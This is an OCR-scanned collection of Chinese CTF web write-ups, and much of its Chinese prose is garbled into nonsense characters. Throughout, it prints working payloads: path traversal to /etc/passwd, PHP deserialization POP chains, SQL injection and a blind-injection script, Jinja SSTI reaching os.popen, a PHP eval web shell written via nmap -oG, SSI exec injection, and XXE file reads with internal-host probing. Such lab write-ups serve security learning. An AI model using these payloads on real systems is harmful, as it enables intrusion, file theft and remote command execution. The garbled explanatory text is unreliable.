str: (©unicode: \u24d2
str: C unicode: \uff23
str: ¢ unicode: \uffa3

BEE A E it AT, AR5V il /etc/passwd & BLAL LD

file://suctf.c©/../../../../../etc/passwd

RIEBRBH, YiRnginxMELE XM, B34 usr/local/nginx/conf/nginx.conf

file://suctf.c©/../../../../../usr/local/nginx/conf/nginx.conf




server { listen 80; location / { try files Suri @app; } location @app { include uwsgi_params; uwsgi_pass unix:///tmp/uwsgi.sock; } location /static { alias fapp/static; } # location /flag { # alias
Jusr/fffffflag; # } }

Hflag

file://suctf.c©/../../../../../usr/fffffflag

[ #1#F 2019]easy_serialize_php

<?php
$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag', 'php5', 'phpad', " 'flig');
$filter = '/'.implode('|',$filter _arr).'/i';
return preg replace($filter,'',$img);

if($_SESSION){
unset($_SESSION);

$ SESSION["user"] = 'guest';
$ SESSION[ 'function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight file">source code</a>';

if(!$ GET['img _path']){
$ SESSION[ 'img'] = base64_encode('guest _img.png');
}else{
$ SESSION[ 'img'] = shal(base64 encode($ GET['img path']));

$serialize info = filter(serialize($ _SESSION));

if($function == 'highlight file'){

highlight_file('index.php');
}Yelse if($function == 'phpinfo'){

eval('phpinfo();"'); //maybe you can find something in here!
}else if($function == 'show_image'){

$userinfo = unserialize($serialize info);

echo file_get_ contents(base64_decode($userinfo[ ‘img']));




EFIBEBBBREREBERANT, BERKFIMEFRBR, 1B, BRXMEE, BNDMIBIKFAREAN—FHEA/NTIR A E
K.
S Ephpinfod— T

Ay _acpaawnanpu [t [t

arg_separator.output & &
auto append file d0g3_flag.php d0g3_f1ag.php
auto_globals jit On On

auto_prepend file

E % extract($_PoST) , MWRER I EE R, FILMEMSE _SESSION[user], _SESSION[function]
FATFTE base64_decode($userinfo['img'])=deg3_filag.php , WELR $userinfo['img']=ZDBNM19mMWFnLnBocA==, {H&kEzH
imgZ %, P DAELEE P BIAG A B 1083 SRk ik B 48 1 45

class SESSION{
public $user = 'flagflagflagflagflagflag';
public $function = 'x";s:3:"img";s:20:"ZDBNM19mMMWFnLnBocA==";

¥
$p=new _SESSION();

echo serialize($p);
$serialize_info = filter(serialize($p));
echo "\n";

echo $serialize_info;

XL B T functionfii{l, BRI imgHIMEE SR T ZDBnM19mMWFnLnBocA== , {BILIf REFHASH, WHEEAE1,
Bt CASE 2 i — A

class _SESSION{

public $user = 'flagflagflagflagflagflag’;

public $function = 'x";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}";
}
$p=new _SESSION();
echo serialize($p);
$serialize_info = filter(serialize($p));
echo "\n";

echo $serialize_info;

SESSION[user]=flagflagflagflagflagflag& SESSION[function]=x";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:

"a";}

{?php
$flag = "flag in /d0g3 fllllllag’ ;

2>

SESSION[user]=flagflagflagflagflagflag& SESSION[function]=x";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"a";s:1:

"a";}

EE —Fppayload

SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}



XEFIIEE T BB RA

:"1";s:3:"img";s:20:"ZDBnM19mbGxsbGxsYWc=";}";s:3:"img";s:20:"Z3V1c3RfaWlnLnBuZw==";}"

[OCTF 2016]piapiapia

X Rphp 7 54k 7 i 1 i~

FR—ANBREHE, BBEEN, Zikiilregisterphp, KILFTLL, EMEER, FTUESEE, BEER.
HLBHFEREME, www.zipBI AT F8RIE,

B TS R BB T SR ARAS

//class.php

public function filter($string) {
$escape = array('\'', "\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, ' ', $string);

$safe array('select', 'insert', 'update', ‘'delete’,
$safe '/' . implode('|', $safe) . '/i';
return preg replace($safe, 'hacker', $string)

//profile.php

$profile = unserialize($profile);
$phone = $profile[ 'phone’];
$email = $profile[ 'email’];

$nickname = $profile['nickname’];
$photo = base64 encode(file get contents($profile[ 'photo']));

//update.php
if(preg match('/[%a-zA-Z0-9 ]1/', $ POST['nickname']) || strlen($ POST['nickname']) > 10)
die('Invalid nickname');




BATHIRL H KR EEidfile_get contents>kiEElconfig.php3kFflag, ifi4H ikphoto=config.php & E i@ i php & 7 546 7 7 B b iR
K56 o

H Senickname MK IR B F$ A 5ed, ARG RERIRKFRFR ";}s:5: "photo”;s:10: "config.php"; } (Bl Anickname A%
T, FRUEmM—A ), 3344, —AwhereE i lihacker& % H—/NFE R, B ZE 34 where

POST fupdatephp HTTP/1.1

Host: 9334f504-e623-4da8-b29f-005fb876e7 2e.node3 buugj.cn

User-Agent: IMozilla/S.0 (Windows NT 10.0; Wingd; x64; ne87.0) Gecko /20100101 Firefox/E7.0
Accept: text/htrl application «html+xml. application/xml;q=0.9image/webp.*/*q=08
Accept-language: zh-Chzhig=08zh-TW,q=07.zh-HK.q=05en-US;g=03,en.g=02
Content-Type: multipart/form-data; boundary=--------------------ccecn—- 387718345610180257 173499240296
Content-Length: 126332

Origin: http://9334f594-e623-4d a8-b29f-005fb976e7 2e. node3 buuoj.cn

Connection: close

Referer: http://9334f504-e623-4da8-b29f-005fb976e7 2e noded buuoj.cn/update php
Cookie: PHPSESSID=796cBE2a215e47 146l 156083950804

Upgrade-Insecure-Requests: |

————————————————————————————— 387718345610180257 173499240296
Content-Disposition: forr-data; name="phone"

16365946523
————————————————————————————— 387718345610180257 173499240296
Content-Disposition: forrn-data; narne="email"

17 @gg.com
————————————————————————————— 387718345610180257 173499240296
Content-Disposition: forrn-data; narne="nickname[]"

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherenherewherenherawherewherawherewherewherewherewherewher
ewherewherewherewherewhere”)s5:"photo” 510" config.ph"]
————————————————————————————— 387718345610180257 173499240296

>

iv class="container” style="margin-top:100px”>

<h3¥Hi Array</h3>
<label>Phone: 16365946523</label>
<label>Email: 117@qq. com(/label>
vy
>
>

#9158 Blflag

[WesternCTF2018]shrine



app = flask.Flask(__name_ )

app.config[ 'FLAG'] = os.environ.pop('FLAG")

@app.route('/")
def index():

return open(__file ).read()

@app.route('/shrine/<path:

def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', "").replace(')', '")
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))

if _ name__ '__main__

app.run(debug=True)

BAREN, HEARTE /shrine/{{}}
config Ri%Fflag, {HBIEE B config
AL — SR B S ERTE

/shrine/{{url _for._ globals_}}

KIA current_app

0x7f2aa22cda28>, ' PackageBoundObject’: <class ‘flask.helpers. PackageBoundObject'>, Flask 'app'>, 'PY2" True, 'send_from_directory": <function send from_directory at
Ox7f2aa22cded8>, 'session’: <NullSession {}>, 'io": <module 'io’ from '/usr/local/lib/pythonZ.7/io.pyc™, 'get_flashed messages': <function get_flashed messages at Ox7f2aa22cdd70>, 'BadRequest':
<class 'werkzeug.exceptions.BadRequest'>, "is_ip": <function is_ip at 0x7f2aa21ab7d0>, 'pkgutil': <module 'pkgutil’ from ‘/usr/local/lib/python2.7/pkgutil.pyc'>, ‘BuildError': <class
‘werkzeug.routing.BuildError'>, 'url_quote”: <function url_quote at 0x7f2aa251daa0>, 'FileSystemLoader" <class ‘jinja2.loaders.FileSystemLoader'>, 'get_root_path': <function get_root_path at
0x7f2aa22cdf50>, ' package_': 'flask’, 'locked cached property': <class 'flask.helpers.locked cached property'>, '_app_ctx_stack’: <werkzeug.local LocalStack object at 0x7f2aa22fd710>,
'_endpoint_from_view_func" <function _endpoint_from_view _func at Ox7f2aa22cdaa0>, 'total_seconds": <function total_seconds at 0x7f2aa21ab1b8>, 'fspath': <function fspath at
0x7f2aa22ede60>, 'get_env': <function get_env at 0x7f2aa22cd6e0>, 'RequestedRangeNotSatisfiable': <class 'werkzeug.exceptions.RequestedRangeNotSatisfiable'>, *flash”: <function fiash at

{'find_package" <function find_package at 0x7f2aa21ab140>, ' find_package path" <function find package path at Ox7f2aa21ab0c8>, 'get_load dotenv' <function get load_dotenv at
#

% current_appHiconfigBi 7 75 flag

/shrine/{{url_for.__globals_ ['current_app'].config}}

[SWPU2019]Web1

sqVEN, FEARE HE2LTMARIdL, HFEF2NMFR. . .
i3 T order by, T Fgroup byfX#&

1'group/**/by/**/22,"'1
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20, 21, ' 22

-1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, ' 22



i3 Tinformation, Z2%iXH, W LAH sys.schema_auto_increment_columns B.# schema_table statistics_with_buffer A%
# information_schema.tables , {HbuuLRT, REETLH|ZIEN
3T mysql.innodb_table stats {2l HA[ LA

-1'/**/union/**/select/**/1, (select/**/group_concat(table_name)/**/from/**/mysql.innodb_table stats/**/where/**/

database name='webl'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, '22

I ZENT B R

mysql> select * from user;

1,2,3 union select * from user;

2 rows

mysgl> sels 1,2,3 as b union select *| from use

flag{good job} |

https://blog.csdn.net/xiaclo

#5115 2flag

//BuserRHIEAKIZFI L FERT1,2,3, HE3FH4 Nb, REEHDLS]
-1'/**/union/**/select/**/1, (select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select

/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, '22

REAJFITURERE %, A, MmiagfE@s) R —MMREE

[WUSTCTF2020]#h 5 o 4


https://www.anquanke.com/post/id/193512
https://zhuanlan.zhihu.com/p/98206699

robots. it E—TF, RIRHF AR fAke_flagggg.php » BIARZMKIflag, 1B KEEH Z Ml

flag{this_is_not_flag]

<?php
header('Content-type:text/html;charset=utf-8"');
error_reporting(9);

highlight file(_ file );

//level 1
if (isset($_GET['num'])){
$num = $ GET[ 'num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "RAZENRE T BERNF L, AREFENE, REREAZLERHE, ERAMERIFUIRE. </br>";
}else{
die("@ERMRA T FHF AR EE") ;
¥
}else{
die("ZIEHIE");
¥
//level 2
if (isset($ GET['md5'])){
$md5=$ GET[ 'md5'];
if ($md5==md5($md5))
echo "MEXANCTFerZ2flag/h, BEIEE, MERME, R—X8T, LEHRLE, BCBHIETIE, BH-MHEEEEH,
BEHRIE, MPEDhER.</br>";
else
die("HHERWRIKHIEAM R, M7 TAEE, BM—F2H2TIEM");
}else{
die("HEIEPHIE");

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get _flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "MEIXE, RALMME, FERANRFIEERRXARWAETE, Hiik. </br>";
system($get_flag);
}else{
die("REVFEMT");
}
Yelse{
die("ZEIEPIE");




F—RintvalGed RIF5E, BHETHBIERAT

num=2010e2

B EE AR, HRNRIGELEATLL '0e12345" Fl 'ee11111" XFHRAMENK, WHAEER— 0e FFLHE, md5/EHRE 0e T
ko (RECOHHER, KET. . o)

md5=0e215962017

BEEMERT, ${1rs} RBZEH, tac ¥ cat, H#Eiflag

get_flag=tac${IFS}f*

[ 5 4F 2020 2k 2 4 ]Nmap

X &Enmap, ERZBT[BUUCTF 2018]0nline TooliX 1R, E#F IR/ payloaditidE

' <?php @eval($ POST["cmd"]);?> -0oG shell.php '

RILITHE T php, B EFREE Fphtmif5 4%

' <?=@eval($ _POST["cmd"]);?> -0G shell.phtml '

Vi idshell.phtml, RIRIIE N, HiEiEflag

INI ¥ = @ SQLBAMLY UNIUN BASED® ERKUK/DOUBLE QUEKY™ TUULST WAF BYPASST ENLUDINGT HIMLT ENCKYPIIONT OIHEK™ X5 LH-
@ Load URL /hrtp://baZBS556—56a9—457c—9de1 -01a79e4ef349.node3.buuoj.cn/shell.phtm|

% splituRL

» Execute

] Postdata [ ] Referrer 4 OxHEX ¥» &% %URL ¥ &% BASE64 I Insert string to replac
g to rep

Post data /cmd: system('cat /flag");

Insert replacing string Replace All 3 =

# Nmap 6.47 scan initiated Sun Apr 18 07:56:04 2021 as: nmap -Pn -T4 -F --host-timeout 1000ms -oX xml/f128b -oG shell.phtml| \?host=\ flag{cc24ef61-9167-4561-87ed-141a345391ch} \\ #
done at Sun Apr 18 07:56:05 2021 - 0 IP addresses (0 hosts up) scanned in 0.48 seconds

[MRCTF2020]PYWebsite



M R IES & Biflag.php, {E&Hflag

EFAIERE

e, BRBEFIFDIEIMEEZLH, (RS 7!
RESEWIENIPRET, BRPLEEL

WEBERIEEHN, BTHIERES, REATUE lag

.

¥ -
%
U

ZR Ak

GET Mlag.php HTTR/1.1 A HTTP/1.1 200 Ok
Host: node3 buuoj.cn:27985 F Date: Sun, 18 Apr 2021 14:16:46 GIT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Windd; x64; rv.87.0) Gecko,/20100101 Server: Apache/2.4.38 (Debian)
Firefox/87.0 *-Powered-By: PHP/7.2.25
Accept: text/htmlapplication/«<html+xmlapplication/xml;q=0.9.image/webp,*/*:q=0.8 Vary: Accept-Encoding
Accept-language: zh-CH.zh;q=08zh-TW;q=07.zh-HK;q=05,en-U5;q=03,en;g=0.2 Connection: close
Connection: close Content-Type: text/html; charset=UTF-8
Upgrade-Insecure-Requests: | Content-Length: 243
#-Forwarded-For:127.0.0.1
<htrml=
<head>
<meta charset="utf-8">
</head:>
<body>
<img sre="./img/2 jpg" width="300" height="300" /=
<p=£T! {RASflagERLE, EEESW! </p-<p
style="colorwhite" > flag{albe9069a-947 a-dbcd-83c0-6d70d20d9507] < /p> < /b
ody>
< /htrnl =

BixX ?

[#:%& A k4% 2019]FinalSQL




RIEBH, BEERET
MHEEE TAZHEREAE

import requests
url = "http://c4eb39fc-5e90-4165-9a11-5d9f7513cce5.node3.buuoj.cn/search.php’

for i in range(1,300):
left = 1
right = 127
mid=int((left+right)/2)
while(left<right):
#tpayload['id'] = "1~(ascii(substr(database(),%d,1))<%d) '%(i,mid)

#tpayload['id'] = "1~(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(
table schema="geek")),%d,1))<%d) '%(i,mid)
#tpayload['id'] = "1~(ascii(substr((select(group_concat(column_name))from(information_schema.columns)when
e(table name="F1lnaIly")),%d,1))<%d) " '%(i,mid)
payload[ 'id'] = '"1~(ascii(substr((select(group_concat(password))from(Flnally)),%d,1))<%d) '%(i,mid)
r = requests.get(url=url,params=payload)
if 'NO' in r.text:
left=mid+1
else:
right=mid
mid=int((left+right)/2)
flag+=chr(mid-1)
print(flag)

X@flagi 7 b, AfEFlaaaaag®H, TEF1nallyRKpassword¥, I HixApasswordffEitE %, XRELEH =
SHEAE TR BN .

clll_v_is_r"a1l_v_amazing,welcome_to ) my_blog,
. o, ~

riend, flag{256a27ab-9191-47cd-8320-328405912723}

[NPUCTF2020]ReadlezPHP

ctri+uz Blitime.php



<?php
tterror_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function _ construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";

¥
public function _ destruct(){

$a $this->a;
$b $this->b;
echo $b($a);

b
$c = new HelloPhp;

if(isset($_GET[ 'source']))

{
highlight_file(__ FILE_ );
die(9);

@$ppp = unserialize($_GET["data"]);

ZREFIM A HAT, KsystemtkZE T, evalth R1T, assertBRZATLL, EHphpinfokHiflag

?data=0:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

[BJDCTF2020]EasySearch

PSR, index.php.swp



<?php
ob_start();
function get hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopgrstuvwxyz0123456789 ! @#$% &% ()+-";
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].%$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_ra
nd(@,73)];//Random 5 times
$content = uniqid().$random;
return shal($content);

¥
header("Content-Type: text/html;charset=utf-8");
3k k%
if(isset($_POST['username']) and $_POST[ 'username'] != "'
{
$admin = '6dobcl’;
if ( $admin == substr(md5($_POST[ 'password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file shtml, "w") or die("Unable to open file!");
$text = '

k %k 3k
k %k 3k

<h1>Hello, '.$_POST[ 'username'].'</hl>
3k k%

fwrite($shtml, $text);
fclose($shtml);

%k k&

echo "[!] Header error ...
} else {
echo "<script>alert('[!] Failed')</script>";

}else

B 55 F EpasswordZ it md5in % J5 v J LA % F6d0bce

import hashlib
for i in range(1,10000000000) :
password = hashlib.md5(str(i).encode('utf-8"')).hexdigest()
if password[0:6]=="6dObcl":
print(i)
print(password)
break

password=2020666

f%%é)é%‘:sswr)\‘ W, XL RBBRAMRE X
AR 55 2% 5 A S VE N SS I g

SSIiE %3 "Server Side Includes"I4E5E, R SRR RS 2o A & R .

SSLR#ANHTMLIT T H fI$8 4, 6T IR gLt AR5 283478 5, DA ILAE HTMLIT 3 insh A 2E BRI P 25, 10 B UliE CGIFE P 3 (3
AT, BuEEHHMARER.

MEAR A BRI, SSIELREHTMLICHH, BT LLEERAT IV iy & 8ide4t, Bl A @ EHTMLR i N A SEEHITERRE.



https://www.secpulse.com/archives/66934.html

FABNEMEEI —Aul, Zshtmlj54%, BEEAREFEssiTE4S, ZEikssivEA, HENEFEusernameit
fﬁﬁﬁexec?ﬁ4>, fﬁfﬁCW@TF?ﬂ%siﬁfhffﬂﬁé§g§ﬁﬁﬁﬁ4>: <!--ftexec cmd="1s"-->

flagfE 4% H3x

username=<!--#exec cmd="cat ../flag 990c66bf85a09c664f0b6741840499b2" - ->

POST /index.php HTTP/1.1

Host: 881c7c5e-fd9f-4128-bE76-b07d16a29b15 node3. buugj.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winsd x64; r:87.0) Gecko/20100101
Firefox/87.0

Accept: tet/htrnl application/<html+xml.application/xml.g=0.9image/webp*/*:q=0.8
Accept-Language: zh-CM.zh;q=08zh-TW;q=07.zh-HK;q=05,en-US;q=03.en;q=0.2
Content-Type: application/x-www-form-urlencoded

Caontent-Length: 89

Origin: http://B81c7 cSe-fd9f-4128-b676-b07d16a29b15.node3 buuoj.cn

Connection: close

Referer: http://881c7 cSe-fd9f-4128-b67 6-b07d 16a29b15.node3 buuoj.cn/inde«php
Upgrade-Insecure-Requests: 1

username=<!--Fexec cnd="cat
./flag_990c66kf85a09c664f0b6741840490b.2" - = Epassword=2020666

RV R 45 Hurlst A flag

[MRCTF2020]Ezpop

L

HTTP/1.1 200 QK

Server: openresty

Date: Mon, 19 Apr 2021 14:04:33 GMT

Content-Type: text/html;charset=utf-8

Connection: close

Url_is_here: public/a7e12dcd3590512789512c34cc68eb1377b866dd . shtrnl
Vary: Accept-Encoding

X-Powered-By: PHP/7.1.27

Content-Length: 568

<IDOCTYPE htmnl >
<htrnl>
<head:>
<meta charset="utf-8">
<title> Login</title>
<meta http-equiv="Content-Type" content="text/html;charset=UTF-&">
<meta name="viewport" content="width=device-width">
<link href="public/css/base.css" rel="stylesheet" type="text/css">
<link href="public/css/login.css" rel="stylesheet" type="tex css">
</head=
<body> <script> alert('[+] Welcorne to manage systermn’) < /script=[1]




<?php
class Modifier {
protected $var;
public function append($value){
include($value);
¥
public function _ invoke(){
$this->append($this->var);

class Show{

public $source;

public $str;

public function _ construct($file="index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";

by

public function __ toString(){
return $this->str->source;

public function __ wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|[\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";

class Test{
public $p;
public function _ construct(){
$this->p = array();

public function _ get($key){
$function = $this->p;
return $function();

if(isset($_GET['pop'])){
@unserialize($_GET[ 'pop']);

¥

else{
$a=new Show;
highlight file(_ FILE_ );

W, MEoE— R RS T, M~
H%E - TEMBIKBEARTTE

get() //RTIAARAYIE (AR R M B
invoke () // 2R xS A B B fid
toString() //3BIEETRE 5 (8 A




public $username 'admin';
public $password = 100;
public function _ invoke(){

echo '"fRIESFRURECARHT! '

public $username = 'xiaolong’;
public function _ get(%$a){
echo "REFRAAFT AN BHERAFERBE! '

¥
$p = new test();
$p->password;

?>

/ /i ARTE R P S W] I B Ja A BN A7 E 1) J 1 !

<?php
class xiaolong{
public $test;
public function __ toString(){
return 'fREEFERBIEAFFRMFAH! '

new xiaolong();
echo $a;
?>

/ /BT ARTESE R A AT B AR

[] 218 5
BAVRARZEF HincludeRiLiflag, XFEAMAK _invoke REW, MBMREH — X RURBOAH, EFAETestKH
K __get HEPH X AHTRY

public function _ get($key){
$function = $this->p;
return $function();

AL RE $this->p=new Modifier() HiEEflKR  invoke T
MAEEf R  get MBI A ERAEER B, XIEFAEShowHF ) toString HiEE X4 —1T

public function _ toString(){
return $this->str->source;

HE ¢$this->str=new Test() , MTestRHEKAE source B, XFEFEEMA get T
MEEAMA  toString W8? ShowilH X4 FHAT




public function _ construct($file="index.php'){
$this->source = $file;

echo 'Welcome to '.$this->source."<br>";

Wik R E ¢$this->source=new Show() BtEEMA  toString T

ER, BEAModifierdéHH protected Bk, FIMLER AT RTHR %00 , RN EF3hIN L, HFHEILHRZ payload# 1T urld
(2]



<?php
class Modifier {
protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
public function append($value){
include($value);
¥
public function __invoke(){
$this->append($this->var);

class Show{

public $source;

public $str;

public function _ construct($file="index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";

¥

public function __ toString(){
return $this->str->source;

public function __ wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";

$this->source = "index.php";

class Test{
public $p;
public function __ construct(){
$this->p = array();

public function _ get($key){
$function = $this->p;
return $function();

= new Test();
$a->p = new Modifier();

//fi%__invoke

new Show();
$b->str = $a;
/ /K __get

= new Show();
$c->source = $b;
//fR__toString
echo urlencode(serialize($c));
?>




?pop=0%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3B0%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A9
%3A%22index.php%22%3Bs%3A3%3A%22str%22%3B0%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3B0%3A8%3A%22Modifier%22%3A

1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource’%3Df]
lag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

HMRCTF2020%: 3] | ¥ 54k POP %%

[NCTF2019]True XML cookbook

HRHRZ BT —FE, AT DMER SRR, (HEHflag, 7T Ulphpth ik B doLogin.php, {HE%H

<?xml version="1.0" encoding="utf-8"?>
<IDOCTYPE creds [

<IENTITY goodies SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/doLogin.php"> ]>

<user><username>&goodies;</username><password>123456</password></user>

BT RTERRxxefT WM
EiEE/etc/host, B E FI1E FHL
KI5
05T /doLogin.php HTTR/11 A HTTP/1.1 200 OK A
dost: 64561d7d-a0a0-4f67 -l 1ad-c53 2ed796fbd . node3 . buuaj.cn i Server: openrasty r
Jser-Agent Mozilla/5.0 (Windows NT 10.0; Winbd; x64; rv:88.0) Gecko/20100101 Date: Wed, 21 Apr 2021 16:51:30 GMT
cirefox/88.0 Content-Type: text/html; charset=utf-8
Lccept application/=ml, text/xml, */% q=0.01 Connection: close
Lceept-Language: zh-Chzh;g=0.8zh-TW,q=07.zh-HK:g=05,en-US;q=03,en;q=0.2 Wary: Accept-Encoding
Zontent-Type: application/«ml;charset=utf-8 K-Powered-By: PHP/7 4.0RCE 2
{-Requested-With: XMLHttpRequest Content-Length: 192
Zontent-Length: 180 r
Drigin: http://64561d7d-a0a0-4f67 -lbled- <53 2cd7 96fbd .node3. buuegj.cn <result> <code>0</code> <msg>127.0.01 localhost
Zonnection: close =1 localhost ipé-localhost ipé-loopback
Jeferer: http://64561d7d-a0a0-4f67 -bled-c532cd796fbod nodes . buug).cn/ fe00::0 1p6-localnet

ff00::0  ip6-rncastprefix
<l version="10" encoding="utf-8"7> ff02::1  ip6-allnodes
<IDOCTYPE creds [ ff02::2  ip6-allrouters
<IENTITY goodies SYSTEM "file;///etc/hosts"> = </msg> < /result>
<users> <username: &goodies < /username: <password > 123456+« /password > < /user>

|

22?04 BRwp A —HE, ipHihEE ?
HSEIRH — AR, [procinet/arp


http://wh1sper.com/%25E7%2594%25B1mrctf2020%25E5%25AD%25A6%25E4%25B9%25A0%25E5%258F%258D%25E5%25BA%258F%25E5%2588%2597%25E5%258C%2596pop%25E9%2593%25BE/

{POST /dologin.php HTTP/11 A HTTP/1.1 200 OK [a
tHost: 64561d7 d-a0a0-4f67-bled-c532cd796fbd . node3. buuaj.cn i Server: openresty B
'User—.i.qent: tozilla/5.0 (Windows MT 10.0; Winéd: «64; re88.0) Gecko,/ 20100101 Date: Wed, 21 Apr 2021 16:54:37 GMT
Firefo:x/88.0 Content-Type: text/html; charset=utf-8
Accept: application/xrml, text/ml, q=0.01 Connection: close
Accept-Language: zh-CH.zh;q=08zh-TW.q=07.zh-HK:q=05en-U%q=03.en;q=0.2 Vary: Accept-Encoding
Content-Type: application/xml.charset=utf-8 X-Powered-By: PHP/7 40RCE
K-Requested-With: XMLHttpRequest Content-Length: 4048
Content-Length: 183
Crigin: http://64561d7d-20a0-4f67 -bled-c532cd796fbd node3 buuaj.cn <result> <code>0</code> <msg=1P address HW tvpe  Flags HwW
Connection: close address Mask Device
Referer: http://64561cl7dl-a0a0-4f67 - bled-c532cd7 96fbd.node3 buuoj.cn/ 10.0.212.46 Ox1 <0 00:00:00:00:00:00  * eth0 /
10.0.212.15 Ox1 <0 00:00:00:00:00:00  * eth0
< 3l version="10" encoding="utf-8"7> 10.0.212.22 (0] 00 00:00:00:00:00:00  * ethQ
<IDOCTYPE creds [ 10.0.212.49 Ox1 <0 00:00:00:00:00:00  * eth0
<IENTITY goodies SYSTEM "file:///proc/net/arp”> 1= 10.0.212.30 Ol <0 00:00:00:00:00:00  * eth0
<Users <username: &goodies; < /Jusernames <password > 123456< /password » < /user= 10.0.212.6 (04 Ox2 02:42:0a2:00:d4:06  * ethO
10.0.212.33 Ol 0 00:00:00:00:00:00  * eth0
10.0.212.14 Ox1 <0 00:00:00:00:00:00  * eth0
10.0.212.41 Ox1 <0 00:00:00:00:00:00  * eth0
10.0.212.48 Ox1 <0 00:00:00:00:00:00  * eth0
10.0.212.17 Oxl 0 00:00:00:00:00:00  * eth0
10.0.212.25 Ox1 <0 00:00:00:00:00:00  * eth0
10.0.212.32 Ox1 <0 00:00:00:00:00:00  * eth0
10.0.212.1 Ox1 Ox2 16:14:04: bcbbiaa * eth0
L 10.0.212.40 Ol 0 00:00:00:00-00:00  * eth0 2
v 10.0.212.51 Ox1 0 00:00:00:00:00:00  * eth0 v
(TREREHBHINIER, AX2%ip, —FHEM—110.021228x¢ BT EHF . « o )
KRG B cHE, Fflag, 7£10.0.212.11
FPOST /dologin.php HTTP/1.1 A HTTP/1.1 200 OK A
Host: 64561d7d-a0a0-4f67 -bled-c532ed796fbd. node3 buugj.cn i Server: openrasty i
s User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; x64; r:88.0) Gecko /20100101 Date Wed, 21 Apr 2021 16:58:00 GMT
b Firefox/88.0 Content-Type: text/html; charset=utf-8
:‘.i.ccept application/xml, text/xml, % g=0.01 Connection: close
« Accept-Language: zh-CM,zh;g=0.8zh-TW.;q=07.zh-HK;q=0.5,en-U5;q=0.3,en;q=0.2 Yary: Accept-Encoding
* Content-Type: application/xml:charset=utf-8 X-Powered-By: PHP/7 4 0RCE
:‘I}(—Requestedf\f\,’ith: KMLHttpRequest Content-Length: 84
« Content-Length: 181
¢ Origin: hitp://64561d7 d-a0a0-4f67 -bled-c532cd796fbd.nodes buugj.cn <result» <code»0</code> <msg>flag{flbieael-e9la-dcel-aace-3b2317e383c3)</msg
¢ Connection: close = < fresults
: Referer: http://64561d7d-a0a0-4f67 -kbled-c532cd796fbd node3 buuaj.cn/
L
"‘ <2l version="10" encoding="utf-8"7>
1 <IDOCTYPE creds [
¢ <IENTITY goodies SYSTEM "http://10.0.212.11"> 1>
[ <user><username> &goodies < /username> <password > 123456« /password > < /user=
| E L
¥ v
faarararaah A mbenn [ 1 (R Y R Y PR ) PP P

B 1 /etc/hostfl/procinet/arp i X 7, 8 H KIEREMEE — T~

[GYCTF2020]FlaskApp

ZEBH, WiAERIIEE LR sst,
i Bfuzzjg RIS € T flag,0s,eval
u] LA I T Ay 4 Blapp.py

{{url_for._ globals . builtins__.open('app.py').read()}}

KIL B

black list = ["flag","os","system","popen","import","eval","chr","request"”, "subprocess","commands","socket","he|

X", "base64”, k" "]




] LA B R el

{{url _for. globals ['o'+'s']['pop'+'en']('1ls /').read()}}

e3tlcmxfZm9yL19fZ2xvYmFsc19fWydvIysncyddWydwb3AnKydlbiddKCdscyAvlykucmVhZCgpfXe=

# Flflag
455 © app bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys this_is_the_flag.ixt tmp usr var
st = Iz
EERAVINER - base64 fFE;
web development,
one drop at a time
BASEG4RZEE
s Hflag

{{url_for._globals ['o'+'s']['pop'+'en']('cat /this_is the fla'+'g.txt').read()}}
